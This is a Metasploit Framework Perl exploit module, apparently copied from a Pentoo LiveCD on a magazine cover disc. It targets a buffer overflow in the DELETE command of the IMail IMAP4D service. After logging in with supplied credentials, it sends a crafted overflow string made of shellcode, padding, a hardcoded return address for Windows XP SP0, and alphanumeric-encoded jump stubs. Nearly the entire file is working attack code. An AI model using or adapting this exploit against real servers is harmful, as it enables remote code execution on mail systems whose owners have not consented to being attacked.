Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/imail_imap_delete.pm

Perl POD Document | 2006-06-30 | 4.2 KB | 179 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::imail_imap_delete;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
  };

my $info = {
    'Name'    => 'IMail IMAP4D Delete Overflow',
    'Version' => '$Revision: 1.6 $',
    'Authors' => [ 'spoonm <ninjatools [at] hush.com>', ],

    'Arch'    => [ 'x86' ],
    'OS'      => [ 'win32'],
    'Priv'    => 1,

    'AutoOpts'  =>
      {
        'GETPCTYPE' => 'edx',
        'EXITFUNC'  => 'thread',
      },
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 143],
        'USER'  => [1, 'DATA', 'IMAP Username'],
        'PASS'  => [1, 'DATA', 'IMAP Password'],
      },

    'Payload' =>
      {

        # give some stack space, align esp
        'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
        'Space'     => 614,
        'BadChars'  =>

          # hd's evil map
          join('', map { $_=chr($_) } (0x00 .. 0x2f)).
          join('', map { $_=chr($_) } (0x3a .. 0x40)).
          join('', map { $_=chr($_) } (0x5b .. 0x60)).
          join('', map { $_=chr($_) } (0x7b .. 0xff)),
        'MinNops'   => 0,
        'MaxNops'   => 0,
      },

    'Encoder' =>
      {
        'Keys' => ['+alphanum'],
      },

    'Description'  => Pex::Text::Freeform(qq{
    This module exploits a buffer overflow in the 'DELETE' command of the
    the IMail IMAP4D service. This vulnerability can only be exploited with
    a valid username and password. This flaw was patched in version 8.14.
}),

    'Refs'  =>
      [
        ['OSVDB', '11838'],
        ['BID',   '11675'],
        ['MIL',      '33'],
      ],

    'Targets' =>
      [

        # alphanum rets :(, will look more into it later
        ['Windows XP sp0 comctl32.dll', 0x77364650],
      ],

    'Keys' => ['imap'],

    'DisclosureDate' => 'Nov 12 2004',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

    return($self);
}

sub Exploit {
    my $self = shift;

    my $targetHost  = $self->GetVar('RHOST');
    my $targetPort  = $self->GetVar('RPORT');
    my $targetIndex = $self->GetVar('TARGET');
    my $user        = $self->GetVar('USER');
    my $pass        = $self->GetVar('PASS');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $shellcode   = $encodedPayload->Payload;
    my $target = $self->Targets->[$targetIndex];

    my $sock = Msf::Socket::Tcp->new(
        'PeerAddr' => $targetHost,
        'PeerPort' => $targetPort,
      );
    if($sock->IsError) {
        $self->PrintLine('Error creating socket: ' . $sock->GetError);
        return;
    }

    my $resp = $sock->Recv(-1);
    chomp($resp);
    $self->PrintLine('[*] Got Banner: ' . $resp);

    my $evil = "a001 LOGIN $user $pass\r\n";
    $sock->Send($evil);
    my $resp = $sock->Recv(-1);
    if($sock->IsError) {
        $self->PrintLine('Socket error: ' . $sock->GetError);
        return;
    }
    if($resp !~ /^a001 OK LOGIN/) {
        $self->PrintLine('Login error: ' . $resp);
        return;
    }
    $self->PrintLine('[*] Logged in, sending overflow');

    $evil = 'A683 DELETE ';

    # shellcode
    $evil .= $shellcode;
    $evil .= 'B' x ($self->PayloadSpace - length($shellcode));

    #  $evil .= $self->_Stupid(614);
    # jmp over code
    $evil .= "\x74\x32\x75\x30";

    # ret addr
    $evil .= pack('V', $target->[1]);

    # space
    $evil .= Pex::Text::AlphaNumText(44);

    # get eip code
    $evil .=
      "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59".
      "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59";

    # alphanum encoded jmp back (edx context)
    $evil .=
      "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41".
      "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50".
      "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57".
      "\x70\x55\x50\x4b\x4f\x6b\x52\x6a";

    # run off the stack, so we don't kill our payload, or something...
    $evil .= Pex::Text::AlphaNumText(600);

    $evil .= "\r\n";

    # hopefully this works...
    $sock->Send($evil);

    $sock->Send($evil);
    my $resp = $sock->Recv(-1);
    if(length($resp)) {
        $self->PrintLine('[*] Got response, bad: ' . $resp);
    }

    return;
}

1;